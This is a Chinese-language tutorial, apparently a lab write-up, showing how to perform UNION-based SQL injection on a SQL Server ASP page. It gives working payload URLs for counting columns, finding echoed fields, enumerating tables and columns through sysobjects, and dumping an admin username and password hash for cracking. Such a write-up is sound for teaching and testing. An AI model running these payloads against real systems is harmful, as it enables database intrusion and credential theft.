sql?server數(shù)據(jù)庫如何進(jìn)行sql注入
1、判斷數(shù)據(jù)庫類型
抓包知sql server,所以注入語句跟MySQL有些區(qū)別
2、判斷注入點
“http://219.153.49.228:42514/new_list.asp?id=2 ”,當(dāng)id=2 and 1=1時顯示正確,id=2 and 1=2時頁面報錯。
3、確定列數(shù)為 4
/new_list.asp?id=2 ORDER BY 1
成功/new_list.asp?id=2 ORDER BY 2
成功/new_list.asp?id=2 ORDER BY 3
失敗/new_list.asp?id=2 ORDER BY 4
成功/new_list.asp?id=2 ORDER BY 5
失敗/new_list.asp?id=2 ORDER BY 6
失敗/new_list.asp?id=2 ORDER BY 7
失敗
根據(jù)這些信息,
ORDER BY 4
成功,而ORDER BY 3
失敗,這看起來很矛盾,因為一般來說,如果ORDER BY 3
失敗,ORDER BY 4
應(yīng)該也會失敗。分析原因:
SQL查詢結(jié)構(gòu): 可能你查詢的SQL語句涉及了多個表連接或者子查詢,這會導(dǎo)致某些列存在而其他列不存在的情況。
自定義排序: 數(shù)據(jù)庫的查詢中可能存在自定義排序邏輯,某些列可能只在特定條件下可用。
***所以sql測試中,我們需要進(jìn)行更多測試以確認(rèn)列數(shù)
4、判斷回顯字段
這其實還要分兩種情況:
1、回顯的字段是字符型,還是整數(shù)型或其他
數(shù)據(jù)類型匹配:
數(shù)據(jù)庫表中的列有特定的數(shù)據(jù)類型(如整數(shù)、字符串、日期等)。當(dāng)注入的值與列的數(shù)據(jù)類型不匹配時,會導(dǎo)致SQL語法錯誤或類型錯誤。例如,如果某列期望一個字符串類型的數(shù)據(jù),而你傳入一個整數(shù),數(shù)據(jù)庫可能會報錯。SQL查詢構(gòu)造:
SQL注入構(gòu)造的查詢語句需要與數(shù)據(jù)庫表的結(jié)構(gòu)和列類型匹配。使用單引號包裹的值通常被解釋為字符串類型,而不使用引號的值通常被解釋為數(shù)字或列名。
2、注入成功是要在頁面正常顯示情況下回顯字段,還是頁面報錯情況下才會回顯字段
正常頁面:當(dāng)提供的id
值有效時,原始查詢會返回一個正常的結(jié)果集,頁面會顯示該結(jié)果。如果 UNION ALL SELECT
注入成功,并且注入的列恰好在顯示內(nèi)容中,那么注入的結(jié)果可能會被id值結(jié)果覆蓋。錯誤頁面:當(dāng)提供的 id
值無效時,原始查詢失敗,頁面可能顯示錯誤信息或沒有結(jié)果。在這種情況下,注入的 UNION ALL SELECT
可能成為唯一的結(jié)果集,因此被顯示出來。
思路:
①先假設(shè)為全部字段為字符型,payload:http://219.153.49.228:46552/new_list.asp?id=2 union all select '1', '2', '3', '4' 。發(fā)現(xiàn)并沒有回顯
②id=-2時,頁面報錯,所以payload:http://219.153.49.228:46552/new_list.asp?id=-2 union all select '1', '2', '3', '4'。回顯2、3字段
到這已經(jīng)可以判斷出2、3字段是字符型,并且頁面有報錯信息時才有回顯,否則被內(nèi)容覆蓋
然后判斷1、4字段類型,需要一個一個去除單引號,判斷其回顯情況
5、獲取數(shù)據(jù)庫信息
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,user,db_name(),4
6、獲取數(shù)據(jù)表名manage
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4
7、獲取列名:id、name
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),(select top 1 col_name(object_id('manage'),2) from sysobjects),4
以此類推,獲取第3個字段,第4個字段
8、查出用戶名和密碼
用戶名:admin_mz、加密密碼:72e1bfc3f01b7583
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select username from manage),(select password from manage),4
9、md5解密
9、總結(jié)
1、判斷數(shù)據(jù)類型是很重要的一點,影響后面的注入語句
2、確定列數(shù)時,要多測幾組數(shù)據(jù),從而分析判斷列數(shù),并不是遇到第一個報錯就停止測試
3、正常網(wǎng)頁(例如id=1,參數(shù)正確)沒有注入回顯時,試試報錯情況(id=-1),注入回顯有可能被正常返回數(shù)據(jù)覆蓋
4、注入回顯的字段有可能整形、字符、小數(shù)等,注意是否需要單引號
5、最好先全部統(tǒng)一會先字段類型,比如全部整形,挨個輪流改變?yōu)樽址?/p>
到此這篇關(guān)于sql server數(shù)據(jù)庫如何進(jìn)行sql注入的文章就介紹到這了,更多相關(guān)sql server數(shù)據(jù)庫sql注入內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Sql學(xué)習(xí)第三天——SQL 關(guān)于with ties介紹
with ties一般是和Top , order by相結(jié)合使用的,會查詢出最后一條數(shù)據(jù)額外的返回值,接下來將為大家詳細(xì)介紹下,感興趣的各位可以參考下哈2013-03-03SQL where條件和jion on條件的詳解及區(qū)別
這篇文章主要介紹了SQL where條件和jion on條件的詳解及區(qū)別的相關(guān)資料,這里舉例說明該如何區(qū)分,需要的朋友可以參考下2016-12-12